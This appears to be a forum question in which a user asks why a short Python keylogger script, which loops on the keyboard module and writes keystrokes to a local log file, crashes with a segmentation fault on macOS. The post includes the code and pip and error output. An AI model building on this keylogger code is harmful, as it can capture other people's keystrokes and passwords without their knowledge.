I am trying to make a keylogger. When I got a segmentation fault for the first time, after some research I found out I have to import the keyboard module with root, but even after I fixed that it still gives me a segmentation fault. Do you have any idea what could be causing this?
import os
os.system("sudo pip3 install keyboard")
import keyboard
log = open("log.txt", "w")
while True:
key = keyboard.read_key()
log.write(str(key))
log.flush()
Output:
Requirement already satisfied: pyobjc-framework-CoreServices==8.5 in /Users/kluci/Library/Python/3.8/lib/python/site-packages (from pyobjc->keyboard) (8.5)
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
zsh: segmentation fault /usr/bin/python3 /Users/kluci/Desktop/Coding/KeyLogger.py
Edit:
I tried running the script as root and deleting the os.system("sudo pip3 install keyboard")
as per recommendation. This still gave me a segmentation fault.